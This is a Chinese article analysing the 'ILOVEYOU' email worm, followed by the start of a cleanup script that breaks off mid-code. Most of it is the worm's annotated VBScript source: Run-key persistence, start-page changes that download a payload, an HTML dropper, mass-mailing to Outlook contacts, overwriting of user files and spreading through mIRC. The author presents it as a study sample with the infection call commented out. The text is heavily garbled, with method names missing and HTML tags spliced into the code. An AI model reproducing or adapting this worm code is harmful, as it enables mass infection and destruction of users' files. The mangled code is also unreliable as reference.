admin 管理员组

文章数量: 1184232


2024年5月17日发(作者:jconsole jvisualvm)

“爱虫(I Loveyou)”病毒代码解析和杀毒方法

中国代码联盟 黄冬 李文武

近来在网上出现了“我爱你”病毒,让人们恐慌一时,而它在国

内却没有出现

什么问题,到现在我也没有听到有哪位计算机使用者说自己被爱到至

死。究其原因

是什么?而“我爱你” 病毒到底是什么?难道说是我国的计算机防

毒水平和计算

机杀毒软件的水平已经到了世界领先的水平?我们来细细看看它的

原因就明白其中

的道理了。另:笔者写本文完全是为了学术作用,请不要将此病毒代

码用于破坏之

目的。

首先让我们来看一看我爱你病毒的来源。有一天你会收到一封邮

件,它的主题

是“I Love You”(如果细细读读它的程序,这个主题其实可以并不是

I Love

You),在它的信中带有了一个叫“ ”的附件,而这个附

件将是病毒

的根源。下面这段是“我爱你”病毒的所有的源代码,其中加入了我

的注释(大多

数的vbs的语法大家可以到wsh中去查、我在函数调用的地方写明了

这些函数的说明

,具体实现可以到函数体中去找):

Rem

===========================================================

============

Rem 本文件为病毒样本,供学习之用,原文件中扫描文件进行感染

部分被我注释掉

Rem 请勿将本文件用作破坏之目的。 white (***************)

hd(hd@email.

)

Rem

===========================================================

============

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set fso = CreateObject("stemObject")

set file = xtFile(Fullname,1)

vbscopy=l

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("")

rr=d("HKEY_CURRENT_USERSoftwareMicrosoftWindows

Scripting

HostSettingsTimeout")

if (rr>=1) then

te

Scripting

HostSettingsTimeout",0,"REG_DWORD"

end if

Set dirwin = cialFolder(0)

Set dirsystem = cialFolder(1)

Set dirtemp = cialFolder(2)

Set c = e(FullName)

"HKEY_CURRENT_USERSoftwareMicrosoftWindows

(dirsystem&"")

(dirwin&"")

(dirsystem&"") '上面三句将自身

复制成三

个文件

regruns() '如果系统为win98,设IE的起始页为四个URL之一,以下

载一个叫

的文件, '并将其设为系统启动时自动执行的程序,

看起来好象

是一个补丁程序

html() '为OUTLOOK用户生成一个含病毒代码的HTML文件

LOVE-LETTER-FOR-YOU.

HTM, '该HTML文件里包含一段JAVASCRIPT,打开时脚本被执行,

病毒体被写入文

件, 同时被设成

'系统启动时自动执行

spreadtoemail() '为OUTLOOK里的所有联系人发一封包含上面那个文

件的邮件

listadriv() '扫描整个磁盘,将后缀为.vbs, ..vbe的文件换成自身,将后

缀为

.js, .jse, .css, .wsh, .sct, .hta, '的文件改后缀为vbs并写入自身,同时删

除原有文件,将后缀为.jpg,.jpeg的在文件名后加.vbs后,写入 '自身,

将后缀为

.mp3,mp2的文件名后加.vbs并写入自身,同时将文件属性改为隐藏

文件, '如果发

现有mIRC,将改写,使得mIRC向所有频道里的人发送刚才的

html文件。

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion

RunMSKern

册表中的加载项一些软件可以写入到这里后实现开机运行

el32",dirs

ystem&""

regcreate

"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion

RunService

册表中的加载项一些软件可以写入到这里后实现开机运行

sWin32DLL

",dirwin&""

downread=""

downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet

ExplorerDownload

Directory")

if (downread="") then

downread="c:"

end if

if (fileexist(dirsystem&"")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~young1s/HJKhjnwerhjkxcvytwertnMT

FwetrdsfmhPnjw6587345gvsdf7679njbvYT/"

elseif num = 2 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~angelcat/skladjflfdjghKJnwetryDG

FikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/

e"

elseif num = 3 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~koichi/jf6TRjkcbGRpGqaq198vbFV5h

fFEkbopBdQZnmPOhfgER67b3Vbvg/"

elseif num = 4 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwt

uHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw

237461234iuy

7thjg/WIN-

"

end if

end if

if (fileexist(downread&"")=0) then

regcreate

"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion

RunWIN-BU

注册表中的加载项一些软件可以写入到这里后实现开机运行

GSFIX",dow

nread&""

regcreate

"HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerMainStar

tPage",

"about:blan

k"

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc =

For Each d in dc

If ype = 2 or ype=3 Then

folderlist(&"")

end if

Next

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = der(folderspec)

set fc =

for each f1 in fc

ext=ensionName()

ext=lcase(ext)

s=lcase()

if (ext="vbs") or (ext="vbe") then

set ap=xtFile(,2,true)

vbscopy

elseif (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or

(ext="sct") or

(ext="hta") then

set ap=xtFile(,2,true)

vbscopy

bname=eName()

set cop=e()

(folderspec&""&bname&".vbs")

File()

elseif (ext="jpg") or (ext="jpeg") then

set ap=xtFile(,2,true)

vbscopy

set cop=e()

(&".vbs")

File()

elseif (ext="mp3") or (ext="mp2") then

set mp3=TextFile(&".vbs")

vbscopy

set att=e()

utes=utes+2

end if

if (eq<>folderspec) then

if (s="") or (s="") or (s="") or

(s="") or

(s="") then

set scriptini=TextFile(folderspec&"")

ine "[script]"

ine ";mIRC Script"

ine "; Please dont edit mIRC will

corrupt,if mIRC

will"

ine " WINDOWS will affect and will not run

correctly.

thanks"

ine ";"

ine ";Khaled Mardam-Bey"

ine ";"

ine ";"

ine "n0=on 1:JOIN:#:{"

ine "n1= /if ( $nick == $me ) { halt }"

ine "n2= /.dcc send

$nick"&dirsystem&""

ine "n3=}"

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = der(folderspec)

set sf = ders

for each f1 in sf

'infectfiles()

Rem

===========================================================

====

Rem 注意,上面这行被注释掉了,请千万不要玩火,否则您的文件

将找不回来

Rem

===========================================================

=====

folderlist()

next

end sub

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("")

te regkey,regvalue

end sub

function regget(value)

Set regedit = CreateObject("")

regget=d(value)

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (ists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (derExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("")

set out=Object("ation")

set mapi=eSpace("MAPI")

for ctrlists=1 to

set a=sLists(ctrlists)

x=1

regv=d("HKEY_CURRENT_USERSoftwareMicrosoftWAB

"&a)

if (regv="") then

regv=1

end if

if (int()>int(regv)) then

for ctrentries=1 to

malead=sEntries(x)

regad=""

regad=regedit.

RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead)

if (regad="") then

set male=Item(0)

(malead)

t = "ILOVEYOU"

= vbcrlf&"kindly check the attached LOVELETTER coming from

me."

(dirsystem&"")

te

"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead,1,

"REG_DWORD"

end if

x=x+1

next

te

"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.

Count

else

te

"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.

Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub

sub html

On Error Resume Next

dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

dta1="LOVELETTER - </p><p style="text-indent: 2em;font-size:18px;">HTML<?-?TITLE><METANAME=@-@Generator@-@ </p><p style="text-indent: 2em;font-size:18px;">CONTENT=@-@BAROK VBS - </p><p style="text-indent: 2em;font-size:18px;">LOVELETTER@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? </p><p style="text-indent: 2em;font-size:18px;">**************** </p><p style="text-indent: 2em;font-size:18px;">-@GRAMMERSoft </p><p style="text-indent: 2em;font-size:18px;">Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think </p><p style="text-indent: 2em;font-size:18px;">this is </p><p style="text-indent: 2em;font-size:18px;">@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?HEAD><BODY </p><p style="text-indent: 2em;font-size:18px;">ONMOUSEOUT=@*************=#-#main#-#;window.</p><p style="text-indent: 2em;font-size:18px;">open(#-##-#,#-# </p><p style="text-indent: 2em;font-size:18px;">main#-#)@-@ "&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"ONKEYDOWN=@*************=#-#main#-#;window.</p><p style="text-indent: 2em;font-size:18px;">open(#-##-#,#-# </p><p style="text-indent: 2em;font-size:18px;">main#-#)@-@ BGPROPERTIES=@-@fixed@-@ </p><p style="text-indent: 2em;font-size:18px;">BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To </p><p style="text-indent: 2em;font-size:18px;">Enable to read this HTML file<BR>- Please press #-#YES#-# button to </p><p style="text-indent: 2em;font-size:18px;">Enable </p><p style="text-indent: 2em;font-size:18px;">ActiveX<?-?p>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ </p><p style="text-indent: 2em;font-size:18px;">BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQ</p><p style="text-indent: 2em;font-size:18px;">U </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">EE&g </p><p style="text-indent: 2em;font-size:18px;">t;"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?BODY><?-?HTML>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<!--?-??-?"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"if (){var wi=idth;var </p><p style="text-indent: 2em;font-size:18px;">hi=eight;(0,0);To(wi,hi); </p><p style="text-indent: 2em;font-size:18px;">}"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"?-??-?-->"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?SCRIPT>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<!--"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"on error resume next"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"aw=1"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"code=" </p><p style="text-indent: 2em;font-size:18px;">dta2="set </p><p style="text-indent: 2em;font-size:18px;">fso=CreateObject(@****************************@-@)"&vbcrlf& </p><p style="text-indent: 2em;font-size:18px;">_ </p><p style="text-indent: 2em;font-size:18px;">"set dirsystem=cialFolder(1)"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"set wri=TextFile(dirsystem&@-@^-^MSKernel32. </p><p style="text-indent: 2em;font-size:18px;">vbs@-@)"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">" code4"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">""&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"if </p><p style="text-indent: 2em;font-size:18px;">then"&vbcrlf& </p><p style="text-indent: 2em;font-size:18px;">_ </p><p style="text-indent: 2em;font-size:18px;">"if (=424) then"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"aw=0"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"end if"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"if (aw=1) then"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">" @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">""&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"end if"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"end if"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"Setregedit=CreateObject(@***************@-@)"&vbcrlf&_</p><p style="text-indent: 2em;font-size:18px;">"te </p><p style="text-indent: 2em;font-size:18px;">@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cu</p><p style="text-indent: 2em;font-size:18px;">rrentVersion^ </p><p style="text-indent: 2em;font-size:18px;">-^Run^-^MS </p><p style="text-indent: 2em;font-size:18px;">Kernel32@-@,dirsystem&@-@^-^@-@"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">(ists(dirsystem&@-@^-^@-@)) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">"?-??-?-->"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?SCRIPT>" </p><p style="text-indent: 2em;font-size:18px;">dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") </p><p style="text-indent: 2em;font-size:18px;">dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") </p><p style="text-indent: 2em;font-size:18px;">dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") </p><p style="text-indent: 2em;font-size:18px;">dt5=replace(dt4,chr(94)&chr(45)&chr(94),"") </p><p style="text-indent: 2em;font-size:18px;">dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") </p><p style="text-indent: 2em;font-size:18px;">dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") </p><p style="text-indent: 2em;font-size:18px;">dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") </p><p style="text-indent: 2em;font-size:18px;">dt6=replace(dt3,chr(94)&chr(45)&chr(94),"") </p><p style="text-indent: 2em;font-size:18px;">set fso=CreateObject("stemObject") </p><p style="text-indent: 2em;font-size:18px;">set c=xtFile(FullName,1) </p><p style="text-indent: 2em;font-size:18px;">lines=Split(l,vbcrlf) </p><p style="text-indent: 2em;font-size:18px;">l1=ubound(lines) </p><p style="text-indent: 2em;font-size:18px;">for n=0 to ubound(lines) </p><p style="text-indent: 2em;font-size:18px;">lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) </p><p style="text-indent: 2em;font-size:18px;">lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) </p><p style="text-indent: 2em;font-size:18px;">lines(n)=replace(lines(n),"",chr(37)+chr(45)+chr(37)) </p><p style="text-indent: 2em;font-size:18px;">if (l1=n) then </p><p style="text-indent: 2em;font-size:18px;">lines(n)=chr(34)+lines(n)+chr(34) </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">set b=TextFile(dirsystem+"") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">set d=xtFile(dirsystem+"",2) </p><p style="text-indent: 2em;font-size:18px;"> dt5 </p><p style="text-indent: 2em;font-size:18px;"> join(lines,vbcrlf) </p><p style="text-indent: 2em;font-size:18px;"> vbcrlf </p><p style="text-indent: 2em;font-size:18px;"> dt6 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> 看完了病毒的全部代码是不是大家不敢相信这三百行的</p><p style="text-indent: 2em;font-size:18px;">VisualBasic语句就把 </p><p style="text-indent: 2em;font-size:18px;">一台“活生生”的计算机搞的“人不像人,鬼不像鬼”。是呀,由于</p><p style="text-indent: 2em;font-size:18px;">现在的脚本语 </p><p style="text-indent: 2em;font-size:18px;">言的流行,以及 Mircrsoft推出的WSH(Windows Script Hosting),更让</p><p style="text-indent: 2em;font-size:18px;">这些脚本 </p><p style="text-indent: 2em;font-size:18px;">语言可以在任何一台计算机上兴风作浪。WSH是一个能让VisualBasic </p><p style="text-indent: 2em;font-size:18px;">Script和 </p><p style="text-indent: 2em;font-size:18px;">JScript脚本能在Windows环境下如命令行的批处理文件(bat文件)</p><p style="text-indent: 2em;font-size:18px;">一样运行的一 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">个服务。 它可以让Script去创建一个Windows里的 COM/OLE对象,</p><p style="text-indent: 2em;font-size:18px;">并去使用这些对 </p><p style="text-indent: 2em;font-size:18px;">象里的方法、属性和事件。在上述程序中有这样一段: set </p><p style="text-indent: 2em;font-size:18px;">regedit=CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">set out=Object("ation") </p><p style="text-indent: 2em;font-size:18px;">set mapi=eSpace("MAPI") </p><p style="text-indent: 2em;font-size:18px;">for ctrlists=1 to </p><p style="text-indent: 2em;font-size:18px;">set a=sLists(ctrlists) </p><p style="text-indent: 2em;font-size:18px;">它就是调用了这个COM组件来操作注册表,调用</p><p style="text-indent: 2em;font-size:18px;">Outlook. </p><p style="text-indent: 2em;font-size:18px;">Application对像来操作Outlook(由于Outlook Express在最近的几个</p><p style="text-indent: 2em;font-size:18px;">版本中已经 </p><p style="text-indent: 2em;font-size:18px;">越来越像Outlook了,所以对一些版本它也会影响到Outlook Express)。</p><p style="text-indent: 2em;font-size:18px;">调用了 </p><p style="text-indent: 2em;font-size:18px;">MAPI组件来得到地址和发送邮件,在Outlook Express 4.0之后也提供</p><p style="text-indent: 2em;font-size:18px;">了MAPI组件 </p><p style="text-indent: 2em;font-size:18px;">,所以无论你是安装了Outlook或是Outlook Express都会被调用来发</p><p style="text-indent: 2em;font-size:18px;">出大量的邮件 </p><p style="text-indent: 2em;font-size:18px;">。如果你是一名熟悉哪简单的VBA(Visual Basic Application用于 Word</p><p style="text-indent: 2em;font-size:18px;">的宏脚本 </p><p style="text-indent: 2em;font-size:18px;">),哪么这段小程序就一眼看懂了。所以,这么想想,这爱大家的病</p><p style="text-indent: 2em;font-size:18px;">毒原来也与 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">Word/Office宏病毒差不多哟。 </p><p style="text-indent: 2em;font-size:18px;"> 所以这么一说,这爱大家的病毒需要有一个好的环境才能生存</p><p style="text-indent: 2em;font-size:18px;">的: </p><p style="text-indent: 2em;font-size:18px;"> .要是Windows 95 SR2以上的操作系统(Windows NT4安装了</p><p style="text-indent: 2em;font-size:18px;">Option Pack4) </p><p style="text-indent: 2em;font-size:18px;"> .要使用Outlook或是高版本的Outlook Express来收信 </p><p style="text-indent: 2em;font-size:18px;"> .要能收到这个带有病毒的Mail </p><p style="text-indent: 2em;font-size:18px;"> 这也就是国内为什么这个病毒没有大量发作的原因了,首先国内</p><p style="text-indent: 2em;font-size:18px;">的Mail几大量 </p><p style="text-indent: 2em;font-size:18px;">使用了Web Mail,而这样的Mail系统没有到达客户的计算机上所以</p><p style="text-indent: 2em;font-size:18px;">也就不可能发作 </p><p style="text-indent: 2em;font-size:18px;">了。再就是国内使用了众多的非Outlook/Outlook Express高版本这样</p><p style="text-indent: 2em;font-size:18px;">的Mail </p><p style="text-indent: 2em;font-size:18px;">Client,所以受害者也少。 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> 好了,哪么了解其原理,笔者给大家一个练习的机会,我们“以</p><p style="text-indent: 2em;font-size:18px;">毒攻毒”,用 </p><p style="text-indent: 2em;font-size:18px;">同样的技术来写一段程序,大家可以用这样的程序来攻击“我爱你”。 </p><p style="text-indent: 2em;font-size:18px;">rem I love You virus 清除程序 </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow </p><p style="text-indent: 2em;font-size:18px;">dim logfile </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">eq="" </p><p style="text-indent: 2em;font-size:18px;">ctr=0 </p><p style="text-indent: 2em;font-size:18px;">Set fso = CreateObject("stemObject") </p><p style="text-indent: 2em;font-size:18px;">Set logfile = xtFile(".",8,True) </p><p style="text-indent: 2em;font-size:18px;">ine now </p><p style="text-indent: 2em;font-size:18px;">main() </p><p style="text-indent: 2em;font-size:18px;">sub main() </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim wscr,rr </p><p style="text-indent: 2em;font-size:18px;">set wscr=CreateObject("") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "Running clean up script. There will be several messages </p><p style="text-indent: 2em;font-size:18px;">along the </p><p style="text-indent: 2em;font-size:18px;">way." </p><p style="text-indent: 2em;font-size:18px;"> "You will get a 'Clean up done.' message when it is </p><p style="text-indent: 2em;font-size:18px;">finished." </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">rr=d("HKEY_CURRENT_USERSoftwareMicrosoftWindows </p><p style="text-indent: 2em;font-size:18px;">Scripting </p><p style="text-indent: 2em;font-size:18px;">HostSettingsTimeout") </p><p style="text-indent: 2em;font-size:18px;">if (rr>=1) then </p><p style="text-indent: 2em;font-size:18px;">te "HKEY_CURRENT_USERSoftwareMicrosoftWindows </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">Scripting </p><p style="text-indent: 2em;font-size:18px;">HostSettingsTimeout",0,"REG_DWORD" </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">Set dirwin = cialFolder(0) </p><p style="text-indent: 2em;font-size:18px;">Set dirsystem = cialFolder(1) </p><p style="text-indent: 2em;font-size:18px;">Set dirtemp = cialFolder(2) </p><p style="text-indent: 2em;font-size:18px;"> "delete files that might have been created . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "delete files that might have been created . . ." </p><p style="text-indent: 2em;font-size:18px;">Set c = e(dirsystem&"") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;">Set c = GetFile(dirwin&"") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;">Set c = GetFile(dirsystem&"") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "clean up run-at-boot and IE start page registry entries . </p><p style="text-indent: 2em;font-size:18px;"> .. ." </p><p style="text-indent: 2em;font-size:18px;">ine "clean up run-at-boot and IE start page registry </p><p style="text-indent: 2em;font-size:18px;">entries . . ." </p><p style="text-indent: 2em;font-size:18px;">regruns() </p><p style="text-indent: 2em;font-size:18px;"> "delete html file(s) that might have been created . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "delete html file(s) that might have been created . . </p><p style="text-indent: 2em;font-size:18px;"> .." </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">html() </p><p style="text-indent: 2em;font-size:18px;"> "clean up e-mail related registry entries . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "clean up e-mail related registry entries . . ." </p><p style="text-indent: 2em;font-size:18px;">spreadtoemail() </p><p style="text-indent: 2em;font-size:18px;"> "rescan same drive and folder list as original virus to </p><p style="text-indent: 2em;font-size:18px;">detect </p><p style="text-indent: 2em;font-size:18px;">infected files . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "rescan same drive and folder list as original virus </p><p style="text-indent: 2em;font-size:18px;">to detect </p><p style="text-indent: 2em;font-size:18px;">infected files . . ." </p><p style="text-indent: 2em;font-size:18px;">listadriv() </p><p style="text-indent: 2em;font-size:18px;"> "Clean up done." </p><p style="text-indent: 2em;font-size:18px;">ine "Clean up done." </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regruns() </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">Dim num,downread </p><p style="text-indent: 2em;font-size:18px;">regdelete </p><p style="text-indent: 2em;font-size:18px;">"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion</p><p style="text-indent: 2em;font-size:18px;">RunMSKern </p><p style="text-indent: 2em;font-size:18px;">el32" </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">regdelete </p><p style="text-indent: 2em;font-size:18px;">"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion</p><p style="text-indent: 2em;font-size:18px;">RunService </p><p style="text-indent: 2em;font-size:18px;">sWin32DLL </p><p style="text-indent: 2em;font-size:18px;">" </p><p style="text-indent: 2em;font-size:18px;">downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet </p><p style="text-indent: 2em;font-size:18px;">ExplorerDownload </p><p style="text-indent: 2em;font-size:18px;">Directory") </p><p style="text-indent: 2em;font-size:18px;">regwrite "HKCUSoftwareMicrosoftInternet ExplorerMainStart </p><p style="text-indent: 2em;font-size:18px;">Page","intraweb" </p><p style="text-indent: 2em;font-size:18px;">regdelete </p><p style="text-indent: 2em;font-size:18px;">"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion</p><p style="text-indent: 2em;font-size:18px;">RunWIN-BU </p><p style="text-indent: 2em;font-size:18px;">GSFIX" </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub listadriv </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">Dim d,dc,s </p><p style="text-indent: 2em;font-size:18px;">Set dc = </p><p style="text-indent: 2em;font-size:18px;">For Each d in dc </p><p style="text-indent: 2em;font-size:18px;">If ype = 2 or ype=3 Then </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> " scanning drive " & </p><p style="text-indent: 2em;font-size:18px;">ine " scanning drive " & </p><p style="text-indent: 2em;font-size:18px;">folderlist(&"") </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">Next </p><p style="text-indent: 2em;font-size:18px;">listadriv = s </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub infectfiles(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 </p><p style="text-indent: 2em;font-size:18px;">dim line, ret </p><p style="text-indent: 2em;font-size:18px;">set f = der(folderspec) </p><p style="text-indent: 2em;font-size:18px;">set fc = </p><p style="text-indent: 2em;font-size:18px;">for each f1 in fc </p><p style="text-indent: 2em;font-size:18px;">ext=ensionName() </p><p style="text-indent: 2em;font-size:18px;">ext=lcase(ext) </p><p style="text-indent: 2em;font-size:18px;">s=lcase() </p><p style="text-indent: 2em;font-size:18px;">if (ext="vbs") or (ext="vbe") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> true </p><p style="text-indent: 2em;font-size:18px;"> "moved "&&" to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">ine "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or </p><p style="text-indent: 2em;font-size:18px;">(ext="sct") or </p><p style="text-indent: 2em;font-size:18px;">(ext="hta") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 